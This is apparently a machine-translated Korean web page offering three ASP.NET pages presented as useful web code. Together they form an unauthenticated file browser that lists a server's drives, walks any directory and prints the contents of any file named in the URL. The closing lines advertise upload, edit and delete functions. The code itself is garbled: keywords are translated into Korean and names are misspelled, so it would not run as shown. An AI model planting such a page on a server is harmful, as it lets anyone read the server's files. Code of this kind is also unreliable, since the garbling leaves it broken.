가장 실용적인 웹 페이지 특수 효과 코드를 수집하십시오!
listdrives.aspx
< % @Page 언어 = C# %>
< % @import 네임 스페이스 = SystemM %>
< % @import 네임 스페이스 = System.io %>
<%
문자열 qdrives = 환경 .osversion.toString ();
문자열 qnewline = 환경 .systemDirectory.toString ();
문자열 qmo = 환경 .WorkingSet.tstring ();
int qtick = 환경 .tickcount;
qtick/= 60000;
문자열 [] achdrivers = directory.getLogicalDrives ();
int nnumofdrives = achdrives.length;
Response.write (시스템은 :);
응답 (qdrives);
응답 (<br>);
response.write (사용 가능한 메모리는 :);
응답 (QMO);
응답 (<br>);
response.write (지난번에 다시 시작되었습니다);
response.write (qtick.toString ());
응답 (분);
응답 (<br>);
응답 (<br>);
응답 (<br>);
응답 (디스크보기 :);
응답 (<ul>);
for (int i = 0; i <nnumofdrives; i ++)
{{
response.write (<li> <a href =/listdir.aspx? dir =);
response.write (server.urlencode (achdrives [i]));
응답 (/> + achdrives [i]);
응답 (</a> <br>);
}
응답 (</ul>);
%>
listdir.aspx
< % @page language = c# debug = true %>
< % @import 네임 스페이스 = System.io %>
<%
문자열 strdir2list = request.querystring.get (dir);
디렉토리 thisone = null;
노력하다
{{
thisene = 새 디렉토리 (strdir2List);
// auslesen der eigenschaften der verzeichnisses
response.write (<p> 시간 생성 시간 : + thistene.creation.toString () + </p>);
디렉토리 [] subdirectories = thisne.getDirectories ();
응답 (<ul>);
응답 ----------------------------------------------------- ------------------------------------------);
응답 (<br>);
for (int i = 0; i <subdirectories.length; i ++)
{{
response.write (<li> <a href =/listdir.aspx? dir =);
response.write (server.urlencode (subdirectories [i]. fullName));
응답 (/> + subdirectories [i] .name);
응답 (</a> <br>);
}
응답 (</ul>);
file [] thefiles = thisne.getfiles ();
응답 (<ul>);
응답 (------------------------------------------- -------------);
응답 (<br>);
for (int i = 0; i <<the <thefiles.length; i ++)
{{
response.write (<li> <a href =/showfile.aspx? file =);
response.write (server.urlencode (thefiles [i]. fullName));
응답 (/> + thefiles [i] .name);
응답 (</a> <br>);
}
응답 (</ul>);
}
캐치 (예외 E)
{{
response.write (이 기능은 다음과 같은 이유로 구현할 수 없습니다 :);
response.write (e.toString () +);
응답 ();
}
%>
showfile.aspx
<% @page language = c# debug = true%>
< % @import 네임 스페이스 = System.io %>
<html>
<head> <title> 파일 정보 </title> </head>
<body>
<%
문자열 strfile2show = request.querystring.get (파일);
file thisne = 새 파일 (strfile2show);
%>
<테이블>
<tr> <td> 파일 이름 : </td> <td> <%= thisone.name%> </td> </tr>
<ter> <td> 전체 이름 : </td> <td> <%= thisone.fullname%> </td> </tr>
<ter> <td> 파일 생성 날짜 : </td> <td> <%= thisone.creationtime.toString ()%> </td> </tr>
<ter> <td> 파일 크기 : </td> <td> <%= thisone.length.toString ()%> 바이트 </td> </tr>
<ter> <td> 마지막 사용 시간 : </td> <td> <%= thisne.lastac sensesstime.tostring ()%> </td> </tr>
<ter> <td> 마지막 수정 시간 : </td> <td> <%= thisone.lastwritetime.tostring ()%> </td> </tr>
</테이블>
<%
streamreader thereader = thisne.opentemt ();
char [] thebuffer = new char [1000];
int nream = thereader.readBlock (TheBuffer, 0, 1000);
응답 (<br>);
response.write (파일 컨텐츠 미리보기 :);
응답 (<br>);
response.write (<fre>);
response.write (server.htmlencode (새 문자열 (TheBuffer, 0, nrad));
응답 (</pre>);
%>
</body>
</html>
관리 기능, 통합 업로드, 수정, 삭제 및 기타 관리 기능이 풍부합니다.
너무 많은 시간이 있는지 궁금합니다
열심히 일하십시오